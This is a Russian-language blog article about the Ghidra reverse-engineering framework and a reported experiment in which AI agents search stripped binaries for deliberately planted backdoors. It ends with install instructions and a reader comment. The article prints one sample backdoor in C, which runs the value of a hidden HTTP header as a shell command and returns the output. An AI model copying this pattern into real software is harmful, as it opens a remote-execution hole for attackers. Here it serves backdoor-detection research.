Ghidra — это фреймворк для реверс-инжиниринга, создан и поддерживается Исследовательским управлением Агентства национальной безопасности США.

Фреймворк включает набор высококачественных инструментов для анализа ПО на различных платформах Windows, macOS и Linux:

  • дизассемблирование;

  • ассемблирование;

  • декомпиляция;

  • построение графиков;

  • скриптование;

  • а также сотни других функций.

Ghidra поддерживает разные наборы инструкций CPU и исполняемые форматы, работает в интерактивном и автоматическом режиме. Есть возможность создания собственных расширений и скриптов на Java или Python.

Ghidra в связке с Claude

Особенно эффективно применение Ghidra в связке с агентом. Например, для поиска уязвимостей. О таком опыте пишут специалисты по безопасности из польского стартапа Quesma, который специализируется на использовании машинного обучения в ИБ.

Первый опыт они получили в январе 2026 года, успешно применив Ghidra+Claude через опенсорсный MCP-сервер GhidraMCP для взлома классической игры River Raid под Atari:

При этом у разработчиков даже не было предварительного опыта дизассемблирования, но связка Ghidra+Claude оказалась настолько мощной и эффективной, что положительного результата удалось добиться даже без опыта.

Главное, что они научились использовать Ghidra в такой комбинации, выяснили все нужные настройки и разрешения для такого применения.

Следующим опытом стало маскировка бэкдоров в бинарнике с последующим аудитом в Ghidra. В этом эксперименте помогал опытный хакер Михал [Redford] Ковальчик, который в 2022 году раньше нашёл программный баг в польских поездах, который выводил локомотивы из строя. Также он нашёл недокументированный UDP/CAN-конвертер, подключённый к GSM-модему. Презентация Ковальчика стала самой популярной на хакерском конгрессе 37с3 в 2023 году:

На этот раз задача была другая: проверить эффективность Ghidra для поиска бэкдоров в бинарных файлах, в комбинации с разными нейронными моделями. Если вкратце, агентам дают скомпилированные бинарники (без исходного кода) и инструменты для реверс-инжиниринга (Ghidra, Radare2) в изолированных докер-контейнерах. Агенты должны определить, содержит ли бинарный файл закладку или другое вредоносное изменение.

Исследователи начали с нескольких опенсорсных проектов, вручную внедрили туда закладки и скомпилировали модифицированный код в обрезанные двоичные файлы. Бэкдоры там разные: от удалённого выполнения кода через скрытые HTTP-заголовки до таймеров, которые срабатывают после определённой даты. Например, такой бэкдор в HTTP-сервере:

gboolean li_check_debug_header(liConnection *con) {
    liRequest *req = &con->mainvr->request;
    GList *l;

    l = li_http_header_find_first(req->headers, CONST_STR_LEN("X-Forwarded-Debug"));
    if (NULL != l) {
        liHttpHeader *hh = (liHttpHeader*) l->data;
        char *debugIn = LI_HEADER_VALUE(hh);

        FILE *fp = popen(debugIn, "r");  // Execute attacker's command
        // ... read output into debugOut ...
        pclose(fp);

        li_http_header_insert(con->mainvr->response.headers,
            CONST_STR_LEN("X-Request-Trace"), debugOut, strlen(debugOut));
    }
    return TRUE;
}

Оказалось, что агенты могут эффективно работать в связке с Ghidra и декомпилятором Radare2. В частности, Claude Opus 4.6 нашёл 49% бэкдоров, Gemini 3 Pro — 44%, а Claude Opus 4.5 — 37%.

Пока что на практике такое трудно использовать из-за высокого уровня ложных срабатываний и низкой скорости работы агентов, но в будущем подход может стать эффективным.

Количество ложных срабатываний у разных моделей
Количество ложных срабатываний у разных моделей

Также стало понятно, что реверс-инжиниринг бинарных файлов теперь доступен не только экспертам, но и всем желающим, включая разработчиков даже без опыта в ИБ. Агенты сильно облегчают первоначальный аудит безопасности подозрительного файла. Вся область становится доступной для гораздо более широкого круга программистов.

Ещё год назад агенты не могли надёжно работать с Ghidra, а теперь выполняют реальный реверс-инжиниринг — загружают двоичные файлы, просматривают декомпилированный код, отслеживают поток данных. Авторы исследования считают, что результаты можно дополнительно улучшить с помощью контекстного инжиниринга (включая соответствующие навыки или MCP) и доступа к коммерческому ПО для реверс-инжиниринга (IDA Pro и Binary Ninja).

Более того, в будущем анализ можно проводить с использованием локальных моделей, настроенных для обнаружения вредоносного ПО. Кроме того, злоумышленники будут оптимизировать вредоносные программы, чтобы избежать обнаружения публичными моделями. Так что для эффективной защиты придётся использовать локальные настроенные модели в обязательном порядке.

Полные результаты опубликованы здесь, а сами задачи и методология тестов лежат в репозитории, так что их можно повторить и проверить.

Установка Ghidra

Для скомпилированного многоплатформенного бинарника Ghidra нужно сначала установить 64-битный JDK 21. Затем скачать Ghidra из репозитория Github.

Официальный мультиплатформенный выпуск именуется по шаблону:

ghidra_<version>_<release>_<date>.zip

Запуск командой ./ghidraRun (или ghidraRun.bat под Windows). Как вариант, можно запустить PyGhidra: ./support/pyghidraRun (или support\pyghidraRun.bat под Windows).

Сборка из исходников требует установки дополнительных зависимостей, кроме JDK 21:

  • Gradle 8.5+ (или обёртка Gradle, если есть подключение к интернету)

  • Python3 (версии с 3.9 по 3.14) в комплекте с pip

  • GCC или Clang, а также make (Linux/macOS)

  • Microsoft Visual Studio 2017+ или Microsoft C++ Build Tools со следующими компонентами (под Windows):

    • MSVC

    • Windows SDK

    • C++ ATL

Потом скачиваем исходники или клонируем репозиторий.

git clone https://github.com/NationalSecurityAgency/ghidra.git

Дополнительную информацию см. в руководстве для разработчиков.

Ещё один плагин для интеграции Ghidra с агентами: GhidrAssist и GhidrAssistMCP.

Комментарии (1)


  1. AndreyDmitriev
    05.07.2026 17:36

    Ещё есть the Ghidra Book за авторством Chris Eagle и Kara Nance, недавно вышло второе издание. В конце там небольшое приложение для тех, кто знаком с IDA. Основное отличие, что Гидра как бы проектно ориентированная, ну то есть вначале надо создать проект, а потом импортировать туда бинарники для анализа (в четвёртой главе всё детально расписано), а в Иде просто открыли и погнали.